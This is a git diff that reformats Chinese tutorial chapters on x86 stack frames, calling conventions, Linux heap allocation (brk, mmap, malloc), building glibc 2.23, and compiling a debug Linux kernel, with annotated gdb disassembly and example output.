eax,[ebx-0x19b0] ;ebx-0x19b0 的地址保存到 eax,该地址处保存字符串 "%d\n" - 0x000005a6 <+67>: push eax ;eax 入栈 - 0x000005a7 <+68>: call 0x3d0 ;调用 printf() 函数 - 0x000005ac <+73>: add esp,0x10 ;调整栈顶指针 esp,清理 printf() 的参数 - 0x000005af <+76>: mov eax,0x0 ;eax=0x0 - 0x000005b4 <+81>: lea esp,[ebp-0x8] ;ebp-0x8 的地址保存到 esp - 0x000005b7 <+84>: pop ecx ;弹栈恢复 ecx、ebx、ebp - 0x000005b8 <+85>: pop ebx - 0x000005b9 <+86>: pop ebp - 0x000005ba <+87>: lea esp,[ecx-0x4] ;ecx-0x4 的地址保存到 esp - 0x000005bd <+90>: ret ;返回,相当于 pop eip; + 0x00000563 <+0>: lea ecx,[esp+0x4] ;将 esp+0x4 的地址传给 ecx + 0x00000567 <+4>: and esp,0xfffffff0 ;栈 16 字节对齐 + 0x0000056a <+7>: push DWORD PTR [ecx-0x4] ;ecx-0x4,即原 esp 强制转换为双字数据后压入栈中 + 0x0000056d <+10>: push ebp ;保存调用 main() 函数之前的 ebp,由于在 _start 中将 ebp 清零了,这里的 ebp=0x0 + 0x0000056e <+11>: mov ebp,esp ;把调用 main() 之前的 esp 作为当前栈帧的 ebp + 0x00000570 <+13>: push ebx ;ebx、ecx 入栈 + 0x00000571 <+14>: push ecx + 0x00000572 <+15>: sub esp,0x10 ;为局部变量 a、b 分配空间并做到 16 字节对齐 + 0x00000575 <+18>: call 0x440 <__x86.get_pc_thunk.bx> ;调用 <__x86.get_pc_thunk.bx> 函数,将 esp 强制转换为双字数据后保存到 ebx + 0x0000057a <+23>: add ebx,0x1a86 ;ebx+0x1a86 + 0x00000580 <+29>: mov DWORD PTR [ebp-0x10],0x1 ;a 第二个入栈所以保存在 ebp-0x10 的位置,此句即 a=1 + 0x00000587 <+36>: mov DWORD PTR [ebp-0xc],0x2 ;b 第一个入栈所以保存在 ebp-0xc 的位置,此句即 b=2 + 0x0000058e <+43>: push DWORD PTR [ebp-0xc] ;将 b 压入栈中 + 0x00000591 <+46>: push DWORD PTR [ebp-0x10] ;将 a 压入栈中 + 0x00000594 <+49>: call 0x53d ;调用 add() 函数,返回值保存在 eax 中 + 0x00000599 <+54>: add esp,0x8 ;清理 add() 的参数 + 0x0000059c <+57>: sub esp,0x8 ;调整 esp 使 16 位对齐 + 0x0000059f <+60>: push eax ;eax 入栈 + 0x000005a0 <+61>: lea eax,[ebx-0x19b0] ;ebx-0x19b0 的地址保存到 eax,该地址处保存字符串 "%d\n" + 0x000005a6 <+67>: push eax ;eax 入栈 + 0x000005a7 <+68>: call 0x3d0 ;调用 printf() 函数 + 0x000005ac <+73>: add esp,0x10 ;调整栈顶指针 esp,清理 printf() 的参数 + 0x000005af <+76>: mov eax,0x0 ;eax=0x0 + 0x000005b4 <+81>: lea esp,[ebp-0x8] ;ebp-0x8 的地址保存到 esp + 0x000005b7 <+84>: pop ecx ;弹栈恢复 ecx、ebx、ebp + 0x000005b8 <+85>: pop ebx + 0x000005b9 <+86>: pop ebp + 0x000005ba <+87>: lea esp,[ecx-0x4] ;ecx-0x4 的地址保存到 esp + 0x000005bd <+90>: ret ;返回,相当于 pop eip; End of assembler dump. gdb-peda$ disassemble add Dump of assembler code for function add: - 0x0000053d <+0>: push ebp ;保存调用 add() 函数之前的 ebp - 0x0000053e <+1>: mov ebp,esp ;把调用 add() 之前的 esp 作为当前栈帧的 ebp - 0x00000540 <+3>: sub esp,0x10 ;为局部变量 x、y 分配空间并做到 16 字节对齐 - 0x00000543 <+6>: call 0x5be <__x86.get_pc_thunk.ax> ;调用 <__x86.get_pc_thunk.ax> 函数,将 esp 强制转换为双字数据后保存到 eax - 0x00000548 <+11>: add eax,0x1ab8 ;eax+0x1ab8 - 0x0000054d <+16>: mov eax,DWORD PTR [ebp+0x8] ;将 ebp+0x8 的数据 0x1 传送到 eax,ebp+0x4 为函数返回地址 - 0x00000550 <+19>: mov DWORD PTR [ebp-0x8],eax ;保存 eax 的值 0x1 到 ebp-0x8 的位置 - 0x00000553 <+22>: mov eax,DWORD PTR [ebp+0xc] ;将 ebp+0xc 的数据 0x2 传送到 eax - 0x00000556 <+25>: mov DWORD PTR [ebp-0x4],eax ;保存 eax 的值 0x2 到 ebp-0x4 的位置 - 0x00000559 <+28>: mov edx,DWORD PTR [ebp-0x8] ;取出 ebp-0x8 的值 0x1 到 edx - 0x0000055c <+31>: mov eax,DWORD PTR [ebp-0x4] ;取出 ebp-0x4 的值 0x2 到 eax - 0x0000055f <+34>: add eax,edx ;eax+edx - 0x00000561 <+36>: leave ;返回,相当于 mov esp,ebp; pop ebp; - 0x00000562 <+37>: ret + 0x0000053d <+0>: push ebp ;保存调用 add() 函数之前的 ebp + 0x0000053e <+1>: mov ebp,esp ;把调用 add() 之前的 esp 作为当前栈帧的 ebp + 0x00000540 <+3>: sub esp,0x10 ;为局部变量 x、y 分配空间并做到 16 字节对齐 + 0x00000543 <+6>: call 0x5be <__x86.get_pc_thunk.ax> ;调用 <__x86.get_pc_thunk.ax> 函数,将 esp 强制转换为双字数据后保存到 eax + 0x00000548 <+11>: add eax,0x1ab8 ;eax+0x1ab8 + 0x0000054d <+16>: mov eax,DWORD PTR [ebp+0x8] ;将 ebp+0x8 的数据 0x1 传送到 eax,ebp+0x4 为函数返回地址 + 0x00000550 <+19>: mov DWORD PTR [ebp-0x8],eax ;保存 eax 的值 0x1 到 ebp-0x8 的位置 + 0x00000553 <+22>: mov eax,DWORD PTR [ebp+0xc] ;将 ebp+0xc 的数据 0x2 传送到 eax + 0x00000556 <+25>: mov DWORD PTR [ebp-0x4],eax ;保存 eax 的值 0x2 到 ebp-0x4 的位置 + 0x00000559 <+28>: mov edx,DWORD PTR [ebp-0x8] ;取出 ebp-0x8 的值 0x1 到 edx + 0x0000055c <+31>: mov eax,DWORD PTR [ebp-0x4] ;取出 ebp-0x4 的值 0x2 到 eax + 0x0000055f <+34>: add eax,edx ;eax+edx + 0x00000561 <+36>: leave ;返回,相当于 mov esp,ebp; pop ebp; + 0x00000562 <+37>: ret End of assembler dump. ``` + 这里我们在 Linux 环境下,由于 ELF 文件的入口其实是 `_start` 而不是 `main()`,所以我们还应该关注下面的函数: + ```text gdb-peda$ disassemble _start Dump of assembler code for function _start: - 0x00000400 <+0>: xor ebp,ebp ;清零 ebp,表示下面的 main() 函数栈帧中 ebp 保存的上一级 ebp 为 0x00000000 - 0x00000402 <+2>: pop esi ;将 argc 存入 esi - 0x00000403 <+3>: mov ecx,esp ;将栈顶地址(argv 和 env 数组的其实地址)传给 ecx - 0x00000405 <+5>: and esp,0xfffffff0 ;栈 16 字节对齐 - 0x00000408 <+8>: push eax ;eax、esp、edx 入栈 - 0x00000409 <+9>: push esp - 0x0000040a <+10>: push edx - 0x0000040b <+11>: call 0x432 <_start+50> ;先将下一条指令地址 0x00000410 压栈,设置 esp 指向它,再调用 0x00000432 处的指令 - 0x00000410 <+16>: add ebx,0x1bf0 ;ebx+0x1bf0 - 0x00000416 <+22>: lea eax,[ebx-0x19d0] ;取 <__libc_csu_fini> 地址传给 eax,然后压栈 - 0x0000041c <+28>: push eax - 0x0000041d <+29>: lea eax,[ebx-0x1a30] ;取 <__libc_csu_init> 地址传入 eax,然后压栈 - 0x00000423 <+35>: push eax - 0x00000424 <+36>: push ecx ;ecx、esi 入栈保存 - 0x00000425 <+37>: push esi - 0x00000426 <+38>: push DWORD PTR [ebx-0x8] ;调用 main() 函数之前保存返回地址,其实就是保存 main() 函数的入口地址 - 0x0000042c <+44>: call 0x3e0 <__libc_start_main@plt> ;call 指令调用 __libc_start_main 函数 - 0x00000431 <+49>: hlt ;hlt 指令使程序停止运行,处理器进入暂停状态,不执行任何操作,不影响标志。当 RESET 线上有复位信号、CPU 响应非屏蔽终端、CPU 响应可屏蔽终端 3 种情况之一时,CPU 脱离暂停状态,执行下一条指令 - 0x00000432 <+50>: mov ebx,DWORD PTR [esp] ;esp 强制转换为双字数据后保存到 ebx - 0x00000435 <+53>: ret ;返回,相当于 pop eip; - 0x00000436 <+54>: xchg ax,ax ;交换 ax 和 ax 的数据,相当于 nop - 0x00000438 <+56>: xchg ax,ax - 0x0000043a <+58>: xchg ax,ax - 0x0000043c <+60>: xchg ax,ax - 0x0000043e <+62>: xchg ax,ax + 0x00000400 <+0>: xor ebp,ebp ;清零 ebp,表示下面的 main() 函数栈帧中 ebp 保存的上一级 ebp 为 0x00000000 + 0x00000402 <+2>: pop esi ;将 argc 存入 esi + 0x00000403 <+3>: mov ecx,esp ;将栈顶地址(argv 和 env 数组的其实地址)传给 ecx + 0x00000405 <+5>: and esp,0xfffffff0 ;栈 16 字节对齐 + 0x00000408 <+8>: push eax ;eax、esp、edx 入栈 + 0x00000409 <+9>: push esp + 0x0000040a <+10>: push edx + 0x0000040b <+11>: call 0x432 <_start+50> ;先将下一条指令地址 0x00000410 压栈,设置 esp 指向它,再调用 0x00000432 处的指令 + 0x00000410 <+16>: add ebx,0x1bf0 ;ebx+0x1bf0 + 0x00000416 <+22>: lea eax,[ebx-0x19d0] ;取 <__libc_csu_fini> 地址传给 eax,然后压栈 + 0x0000041c <+28>: push eax + 0x0000041d <+29>: lea eax,[ebx-0x1a30] ;取 <__libc_csu_init> 地址传入 eax,然后压栈 + 0x00000423 <+35>: push eax + 0x00000424 <+36>: push ecx ;ecx、esi 入栈保存 + 0x00000425 <+37>: push esi + 0x00000426 <+38>: push DWORD PTR [ebx-0x8] ;调用 main() 函数之前保存返回地址,其实就是保存 main() 函数的入口地址 + 0x0000042c <+44>: call 0x3e0 <__libc_start_main@plt> ;call 指令调用 __libc_start_main 函数 + 0x00000431 <+49>: hlt ;hlt 指令使程序停止运行,处理器进入暂停状态,不执行任何操作,不影响标志。当 RESET 线上有复位信号、CPU 响应非屏蔽终端、CPU 响应可屏蔽终端 3 种情况之一时,CPU 脱离暂停状态,执行下一条指令 + 0x00000432 <+50>: mov ebx,DWORD PTR [esp] ;esp 强制转换为双字数据后保存到 ebx + 0x00000435 <+53>: ret ;返回,相当于 pop eip; + 0x00000436 <+54>: xchg ax,ax ;交换 ax 和 ax 的数据,相当于 nop + 0x00000438 <+56>: xchg ax,ax + 0x0000043a <+58>: xchg ax,ax + 0x0000043c <+60>: xchg ax,ax + 0x0000043e <+62>: xchg ax,ax End of assembler dump. ``` -#### 函数调用约定 +### 函数调用约定 + 函数调用约定是对函数调用时如何传递参数的一种约定。调用函数前要先把参数压入栈然后再传递给函数。 一个调用约定大概有如下的内容: + - 函数参数的传递顺序和方式 - 栈的维护方式 - 名字修饰的策略 主要的函数调用约定如下,其中 cdecl 是 C 语言默认的调用约定: -调用约定 | 出栈方 | 参数传递 | 名字修饰 ---- | --- | --- | --- -cdecl | 函数调用方 | 从右到左的顺序压参数入栈 | 下划线+函数名 -stdcall | 函数本身 | 从右到左的顺序压参数入栈 | 下划线+函数名+@+参数的字节数 -fastcall | 函数本身 | 都两个 DWORD(4 字节)类型或者占更少字节的参数被放入寄存器,其他剩下的参数按从右到左的顺序压入栈 | @+函数名+@+参数的字节数 +| 调用约定 | 出栈方 | 参数传递 | 名字修饰 | +| --- | --- | --- | --- | +| cdecl | 函数调用方 | 从右到左的顺序压参数入栈 | 下划线+函数名 | +| stdcall | 函数本身 | 从右到左的顺序压参数入栈 | 下划线+函数名+@+参数的字节数 | +| fastcall | 函数本身 | 都两个 DWORD(4 字节)类型或者占更少字节的参数被放入寄存器,其他剩下的参数按从右到左的顺序压入栈 | @+函数名+@+参数的字节数 | 除了参数的传递之外,函数与调用方还可以通过返回值进行交互。当返回值不大于 4 字节时,返回值存储在 eax 寄存器中,当返回值在 5~8 字节时,采用 eax 和 edx 结合的形式返回,其中 eax 存储低 4 字节, edx 存储高 4 字节。 - ## 堆与内存管理 -#### 堆 -![](../pic/1.5.7_spacelayout.png) + +### 堆 + +![img](../pic/1.5.7_spacelayout.png) 堆是用于存放除了栈里的东西之外所有其他东西的内存区域,有动态内存分配器负责维护。分配器将堆视为一组不同大小的块(block)的集合来维护,每个块就是一个连续的虚拟内存器片(chunk)。当使用 `malloc()` 和 `free()` 时就是在操作堆中的内存。对于堆来说,释放工作由程序员控制,容易产生内存泄露。 @@ -193,10 +207,12 @@ fastcall | 函数本身 | 都两个 DWORD(4 字节)类型或者占更少字 如果每次申请内存时都直接使用系统调用,会严重影响程序的性能。通常情况下,运行库先向操作系统“批发”一块较大的堆空间,然后“零售”给程序使用。当全部“售完”之后或者剩余空间不能满足程序的需求时,再根据情况向操作系统“进货”。 -#### 进程堆管理 +### 进程堆管理 + Linux 提供了两种堆空间分配的方式,一个是 `brk()` 系统调用,另一个是 `mmap()` 系统调用。可以使用 `man brk`、`man mmap` 查看。 `brk()` 的声明如下: + ```c #include @@ -204,11 +220,13 @@ int brk(void *addr); void *sbrk(intptr_t increment); ``` + 参数 `*addr` 是进程数据段的结束地址,`brk()` 通过改变该地址来改变数据段的大小,当结束地址向高地址移动,进程内存空间增大,当结束地址向低地址移动,进程内存空间减小。`brk()`调用成功时返回 0,失败时返回 -1。 `sbrk()` 与 `brk()` 类似,但是参数 `increment` 表示增量,即增加或减少的空间大小,调用成功时返回增加后减小前数据段的结束地址,失败时返回 -1。 在上图中我们看到 brk 指示堆结束地址,start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset,这是由于 ASLR 的作用,如果关闭了 ASLR,则 Random brk offset 为 0,堆结束地址和数据段开始地址重合。 例子:[源码](../src/others/1.5.7_memory/brk.c) + ```C #include #include @@ -238,15 +256,19 @@ void main() { getchar(); } ``` + 开启两个终端,一个用于执行程序,另一个用于观察内存地址。首先我们看关闭了 ASLR 的情况。第一步初始化: + ```text # echo 0 > /proc/sys/kernel/randomize_va_space ``` + ```text $ ./a.out 当前进程 PID:27759 初始化后的结束地址:0x56579000 ``` + ```text # cat /proc/27759/maps ... @@ -254,9 +276,11 @@ $ ./a.out 56558000-56579000 rw-p 00000000 00:00 0 [heap] ... ``` + 数据段结束地址和堆开始地址同为 `0x56558000`,堆结束地址为 `0x56579000`。 第二步使用 `brk()` 增加堆空间: + ```text $ ./a.out 当前进程 PID:27759 @@ -264,6 +288,7 @@ $ ./a.out brk 之后的结束地址:0x5657a000 ``` + ```text # cat /proc/27759/maps ... @@ -271,9 +296,11 @@ brk 之后的结束地址:0x5657a000 56558000-5657a000 rw-p 00000000 00:00 0 [heap] ... ``` + 堆开始地址不变,结束地址增加为 `0x5657a000`。 第三步使用 `sbrk()` 增加堆空间: + ```text $ ./a.out 当前进程 PID:27759 @@ -284,6 +311,7 @@ brk 之后的结束地址:0x5657a000 sbrk 返回值(即之前的结束地址):0x5657a000 sbrk 之后的结束地址:0x5657b000 ``` + ```text # cat /proc/27759/maps ... @@ -293,8 +321,9 @@ sbrk 之后的结束地址:0x5657b000 ``` 第四步减小堆空间: + ```text -]$ ./a.out +$ ./a.out 当前进程 PID:27759 初始化后的结束地址:0x56579000 @@ -305,6 +334,7 @@ sbrk 之后的结束地址:0x5657b000 恢复到初始化时的结束地址:0x56579000 ``` + ```text # cat /proc/27759/maps ... @@ -314,14 +344,17 @@ sbrk 之后的结束地址:0x5657b000 ``` 再来看一下开启了 ASLR 的情况: + ```text # echo 2 > /proc/sys/kernel/randomize_va_space ``` + ```text -]$ ./a.out +$ ./a.out 当前进程 PID:28025 初始化后的结束地址:0x578ad000 ``` + ```text # cat /proc/28025/maps ... @@ -329,18 +362,22 @@ sbrk 之后的结束地址:0x5657b000 5788c000-578ad000 rw-p 00000000 00:00 0 [heap] ... ``` + 可以看到这时数据段的结束地址 `0x56640000` 不等于堆的开始地址 `0x5788c000`。 `mmap()` 的声明如下: + ```c #include void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off); ``` + `mmap()` 函数用于创建新的虚拟内存区域,并将对象映射到这些区域中,当它不将地址空间映射到某个文件时,我们称这块空间为匿名(Anonymous)空间,匿名空间可以用来作为堆空间。`mmap()` 函数要求内核创建一个从地址 `addr` 开始的新虚拟内存区域,并将文件描述符 `fildes` 指定的对象的一个连续的片(chunk)映射到这个新区域。连续的对象片大小为 `len` 字节,从距文件开始处偏移量为 `off` 字节的地方开始。`prot` 描述虚拟内存区域的访问权限位,`flags` 描述被映射对象类型的位组成。 `munmap()` 则用于删除虚拟内存区域: + ```c #include @@ -348,6 +385,7 @@ int munmap(void *addr, size_t len); ``` 例子:[源码](../src/others/1.5.7_memory/mmap.c) + ```C #include #include @@ -369,12 +407,15 @@ void main() { getchar(); } ``` + 第一步初始化: + ```text $ ./a.out 当前进程 PID:28652 初始化后 ``` + ```text # cat /proc/28652/maps ... @@ -382,13 +423,16 @@ f76b2000-f76b5000 rw-p 00000000 00:00 0 f76ef000-f76f1000 rw-p 00000000 00:00 0 ... ``` + 第二步 mmap: + ```text ]$ ./a.out 当前进程 PID:28652 初始化后 mmap 完成 ``` + ```text # cat /proc/28652/maps ... @@ -396,7 +440,9 @@ f76b2000-f76b5000 rw-p 00000000 00:00 0 f76ee000-f76f1000 rw-p 00000000 00:00 0 ... ``` + 第三步 munmap: + ```text $ ./a.out 当前进程 PID:28652 @@ -404,6 +450,7 @@ $ ./a.out mmap 完成 munmap 完成 ``` + ```text # cat /proc/28652/maps ... @@ -411,9 +458,11 @@ f76b2000-f76b5000 rw-p 00000000 00:00 0 f76ef000-f76f1000 rw-p 00000000 00:00 0 ... ``` + 可以看到第二行第一列地址从 `f76ef000`->`f76ee000`->`f76ef000` 变化。`0xf76ee000-0xf76ef000=0x1000=4096`。 通常情况下,我们不会直接使用 `brk()` 和 `mmap()` 来分配堆空间,C 标准库提供了一个叫做 `malloc` 的分配器,程序通过调用 `malloc()` 函数来从堆中分配块,声明如下: + ```c #include @@ -424,31 +473,33 @@ void *realloc(void *ptr, size_t size); ``` 示例: + ```C #include #include void foo(int n) { - int *p; - p = (int *)malloc(n * sizeof(int)); + int *p; + p = (int *)malloc(n * sizeof(int)); - for (int i=0; i: push ebp - 0x0000066e <+1>: mov ebp,esp - 0x00000670 <+3>: push ebx - 0x00000671 <+4>: sub esp,0x14 - 0x00000674 <+7>: call 0x570 <__x86.get_pc_thunk.bx> - 0x00000679 <+12>: add ebx,0x1987 - 0x0000067f <+18>: mov eax,DWORD PTR [ebp+0x8] - 0x00000682 <+21>: shl eax,0x2 - 0x00000685 <+24>: sub esp,0xc - 0x00000688 <+27>: push eax - 0x00000689 <+28>: call 0x4e0 - 0x0000068e <+33>: add esp,0x10 - 0x00000691 <+36>: mov DWORD PTR [ebp-0xc],eax - 0x00000694 <+39>: mov DWORD PTR [ebp-0x10],0x0 - 0x0000069b <+46>: jmp 0x6d9 - 0x0000069d <+48>: mov eax,DWORD PTR [ebp-0x10] - 0x000006a0 <+51>: lea edx,[eax*4+0x0] - 0x000006a7 <+58>: mov eax,DWORD PTR [ebp-0xc] - 0x000006aa <+61>: add edx,eax - 0x000006ac <+63>: mov eax,DWORD PTR [ebp-0x10] - 0x000006af <+66>: mov DWORD PTR [edx],eax - 0x000006b1 <+68>: mov eax,DWORD PTR [ebp-0x10] - 0x000006b4 <+71>: lea edx,[eax*4+0x0] - 0x000006bb <+78>: mov eax,DWORD PTR [ebp-0xc] - 0x000006be <+81>: add eax,edx - 0x000006c0 <+83>: mov eax,DWORD PTR [eax] - 0x000006c2 <+85>: sub esp,0x8 - 0x000006c5 <+88>: push eax - 0x000006c6 <+89>: lea eax,[ebx-0x17e0] - 0x000006cc <+95>: push eax - 0x000006cd <+96>: call 0x4b0 - 0x000006d2 <+101>: add esp,0x10 - 0x000006d5 <+104>: add DWORD PTR [ebp-0x10],0x1 - 0x000006d9 <+108>: mov eax,DWORD PTR [ebp-0x10] - 0x000006dc <+111>: cmp eax,DWORD PTR [ebp+0x8] - 0x000006df <+114>: jl 0x69d - 0x000006e1 <+116>: sub esp,0xc - 0x000006e4 <+119>: push 0xa - 0x000006e6 <+121>: call 0x500 - 0x000006eb <+126>: add esp,0x10 - 0x000006ee <+129>: sub esp,0xc - 0x000006f1 <+132>: push DWORD PTR [ebp-0xc] - 0x000006f4 <+135>: call 0x4c0 - 0x000006f9 <+140>: add esp,0x10 - 0x000006fc <+143>: nop - 0x000006fd <+144>: mov ebx,DWORD PTR [ebp-0x4] - 0x00000700 <+147>: leave - 0x00000701 <+148>: ret + 0x0000066d <+0>: push ebp + 0x0000066e <+1>: mov ebp,esp + 0x00000670 <+3>: push ebx + 0x00000671 <+4>: sub esp,0x14 + 0x00000674 <+7>: call 0x570 <__x86.get_pc_thunk.bx> + 0x00000679 <+12>: add ebx,0x1987 + 0x0000067f <+18>: mov eax,DWORD PTR [ebp+0x8] + 0x00000682 <+21>: shl eax,0x2 + 0x00000685 <+24>: sub esp,0xc + 0x00000688 <+27>: push eax + 0x00000689 <+28>: call 0x4e0 + 0x0000068e <+33>: add esp,0x10 + 0x00000691 <+36>: mov DWORD PTR [ebp-0xc],eax + 0x00000694 <+39>: mov DWORD PTR [ebp-0x10],0x0 + 0x0000069b <+46>: jmp 0x6d9 + 0x0000069d <+48>: mov eax,DWORD PTR [ebp-0x10] + 0x000006a0 <+51>: lea edx,[eax*4+0x0] + 0x000006a7 <+58>: mov eax,DWORD PTR [ebp-0xc] + 0x000006aa <+61>: add edx,eax + 0x000006ac <+63>: mov eax,DWORD PTR [ebp-0x10] + 0x000006af <+66>: mov DWORD PTR [edx],eax + 0x000006b1 <+68>: mov eax,DWORD PTR [ebp-0x10] + 0x000006b4 <+71>: lea edx,[eax*4+0x0] + 0x000006bb <+78>: mov eax,DWORD PTR [ebp-0xc] + 0x000006be <+81>: add eax,edx + 0x000006c0 <+83>: mov eax,DWORD PTR [eax] + 0x000006c2 <+85>: sub esp,0x8 + 0x000006c5 <+88>: push eax + 0x000006c6 <+89>: lea eax,[ebx-0x17e0] + 0x000006cc <+95>: push eax + 0x000006cd <+96>: call 0x4b0 + 0x000006d2 <+101>: add esp,0x10 + 0x000006d5 <+104>: add DWORD PTR [ebp-0x10],0x1 + 0x000006d9 <+108>: mov eax,DWORD PTR [ebp-0x10] + 0x000006dc <+111>: cmp eax,DWORD PTR [ebp+0x8] + 0x000006df <+114>: jl 0x69d + 0x000006e1 <+116>: sub esp,0xc + 0x000006e4 <+119>: push 0xa + 0x000006e6 <+121>: call 0x500 + 0x000006eb <+126>: add esp,0x10 + 0x000006ee <+129>: sub esp,0xc + 0x000006f1 <+132>: push DWORD PTR [ebp-0xc] + 0x000006f4 <+135>: call 0x4c0 + 0x000006f9 <+140>: add esp,0x10 + 0x000006fc <+143>: nop + 0x000006fd <+144>: mov ebx,DWORD PTR [ebp-0x4] + 0x00000700 <+147>: leave + 0x00000701 <+148>: ret End of assembler dump. ``` + 关于 glibc 中的 malloc 实现是一个很重要的话题,我们会在后面的章节详细介绍。 diff --git a/doc/1.5.8_glibc_malloc.md b/doc/1.5.8_glibc_malloc.md index 6506743..26df806 100644 --- a/doc/1.5.8_glibc_malloc.md +++ b/doc/1.5.8_glibc_malloc.md @@ -4,38 +4,43 @@ - [malloc](#malloc) - [参考资料](#参考资料) - [下载文件](../src/others/1.5.8_glibc_malloc) ## glibc + glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 `/usr/include`;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 `/lib/libc.so.6`,静态版本位于 `/usr/lib/libc.a`。 这一章中,我们将阅读分析 glibc 的源码,下面先把它下载下来,并切换到我们需要的版本: -``` + +```text $ git clone git://sourceware.org/git/glibc.git $ cd glibc $ git checkout --track -b local_glibc-2.23 origin/release/2.23/master ``` + 下面来编译它,首先修改配置文件 Makeconfig,将 `-Werror` 注释掉,这样可以避免高版本 GCC(v8.1.0) 将警告当做错误处理: -``` + +```text $ cat Makeconfig | grep -i werror | grep warn +gccwarn += #-Werror ``` + 接下来需要打上一个 patch: -``` + +```diff $ cat regexp.patch diff --git a/misc/regexp.c b/misc/regexp.c index 19d76c0..9017bc1 100644 --- a/misc/regexp.c +++ b/misc/regexp.c -@@ -29,14 +29,17 @@ - +@@ -29,14 +29,17 @@ + #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_23) - + -/* Define the variables used for the interface. */ -char *loc1; -char *loc2; -+#include /* Get NULL. */ ++#include /* Get NULL. */ + +/* Define the variables used for the interface. Avoid .symver on common + symbol, which just creates a new common symbol, not an alias. */ @@ -43,22 +48,25 @@ index 19d76c0..9017bc1 100644 +char *loc2 = NULL; compat_symbol (libc, loc1, loc1, GLIBC_2_0); compat_symbol (libc, loc2, loc2, GLIBC_2_0); - + /* Although we do not support the use we define this variable as well. */ -char *locs; +char *locs = NULL; compat_symbol (libc, locs, locs, GLIBC_2_0); $ patch misc/regexp.c regexp.patch ``` + 然后就可以编译了: -``` + +```text $ mkdir build && cd build $ ../configure --prefix=/usr/local/glibc-2.23 $ make -j4 && sudo make install ``` 如果我们想要在编译程序时指定 libc,可以像这样: -``` + +```text $ gcc -L/usr/local/glibc-2.23/lib -Wl,--rpath=/usr/local/glibc-2.23/lib -Wl,-I/usr/local/glibc-2.23/lib/ld-2.23.so test.c $ ldd a.out linux-vdso.so.1 (0x00007ffcc76b0000) @@ -67,38 +75,45 @@ $ ldd a.out ``` 然后如果希望在调试时指定 libc 的源文件,可以使用 gdb 命令 `directory`,但是这种方法的缺点是不能解析子目录,所以推荐使用下面的命令在启动时加载: -``` -$ gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out -``` +```text +gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out +``` ## malloc.c + 下面我们先分析 glibc 2.23 版本的源码,它是 Ubuntu16.04 的默认版本,在 pwn 中也最常见。然后,我们再探讨新版本的 glibc 中所加入的漏洞缓解机制。 ## 相关结构 -#### 堆块结构 + +### 堆块结构 + - Allocated Chunk - Free Chunk - Top Chunk -#### Bins 结构 +### Bins 结构 + - Fast Bins - Small Bins - Large Bins - Unsorted Bins -#### Arena 结构 +### Arena 结构 ## 分配函数 + `_int_malloc()` ## 释放函数 + `_int_free()` ## 重分配函数 + `_int_realloc()` - ## 参考资料 + - [The GNU C Library (glibc)](https://www.gnu.org/software/libc/) - [glibc manual](https://www.gnu.org/software/libc/manual/) diff --git a/doc/1.5.9_linux_kernel.md b/doc/1.5.9_linux_kernel.md index 3216627..8896ba2 100644 --- a/doc/1.5.9_linux_kernel.md +++ b/doc/1.5.9_linux_kernel.md @@ -4,17 +4,19 @@ - [系统调用](#系统调用) - [参考资料](#参考资料) - ## 编译安装 + 我的编译环境是如下。首先安装必要的软件: -``` + +```text $ uname -a Linux firmy-pc 4.14.34-1-MANJARO #1 SMP PREEMPT Thu Apr 12 17:26:43 UTC 2018 x86_64 GNU/Linux $ yaourt -S base-devel ``` 为了方便学习,选择一个稳定版本,比如最新的 4.16.3。 -``` + +```text $ mkdir ~/kernelbuild && cd ~/kernelbuild $ wget -c https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.16.3.tar.xz $ tar -xvJf linux-4.16.3.tar.xz @@ -23,61 +25,79 @@ $ make clean && make mrproper ``` 内核的配置选项在 `.config` 文件中,有两种方法可以设置这些选项,一种是从当前内核中获得一份默认配置: -``` + +```text $ zcat /proc/config.gz > .config $ make oldconfig ``` + 另一种是自己生成一份配置: -``` + +```text $ make localmodconfig # 使用当前内核配置生成 -$ # OR + # OR $ make defconfig # 根据当前架构默认的配置生成 ``` + 为了能够对内核进行调试,需要设置下面的参数: -``` + +```text CONFIG_DEBUG_INFO=y CONFIG_DEBUG_INFO_REDUCED=n CONFIG_GDB_SCRIPTS=y ``` + 如果需要使用 kgdb,还需要开启下面的参数: -``` + +```text CONFIG_STRICT_KERNEL_RWX=n CONFIG_FRAME_POINTER=y CONFIG_KGDB=y CONFIG_KGDB_SERIAL_CONSOLE=y ``` + `CONFIG_STRICT_KERNEL_RWX` 会将特定的内核内存空间标记为只读,这将阻止你使用软件断点,最好将它关掉。 如果希望使用 kdb,在上面的基础上再加上: -``` + +```text CONFIG_KGDB_KDB=y CONFIG_KDB_KEYBOARD=y ``` + 另外如果你在调试时不希望被 KASLR 干扰,可以在编译时关掉它: -``` + +```text CONFIG_RANDOMIZE_BASE=n CONFIG_RANDOMIZE_MEMORY=n ``` + 将上面的参数写到文件 `.config-fragment`,然后合并进 `.config`: -``` + +```text $ ./scripts/kconfig/merge_config.sh .config .config-fragment ``` + 最后因为内核编译默认开启了 `-O2` 优化,可以修改 Makefile 为 `-O0`: -``` + +```text KBUILD_CFLAGS += -O0 ``` 编译内核: -``` + +```text $ make ``` + 完成后当然就是安装,但我们这里并不是真的要将本机的内核换掉,接下来的过程就交给 QEMU 了。(参考章节4.1) - ## 系统调用 + 在 Linux 中,系统调用是一些内核空间函数,是用户空间访问内核的唯一手段。这些函数与 CPU 架构有关,x86-64 架构提供了 322 个系统调用,x86 提供了 358 个系统调用(参考附录9.4)。 下面是一个用 32 位汇编写的例子,[源码](../src/others/1.5.9_linux_kernel): -``` + +```text .data msg: @@ -98,11 +118,13 @@ _start: movl $1, %eax int $0x80 ``` + 编译执行(可以编译成64位程序的): -``` -$ gcc -m32 -c hello32.S -$ ld -m elf_i386 -o hello32 hello32.o -$ strace ./hello32 + +```text +$ gcc -m32 -c hello32.S +$ ld -m elf_i386 -o hello32 hello32.o +$ strace ./hello32 execve("./hello32", ["./hello32"], 0x7ffff990f830 /* 68 vars */) = 0 strace: [ Process PID=19355 runs in 32 bit mode. ] write(1, "hello 32-bit!\n", 14hello 32-bit! @@ -110,12 +132,14 @@ write(1, "hello 32-bit!\n", 14hello 32-bit! 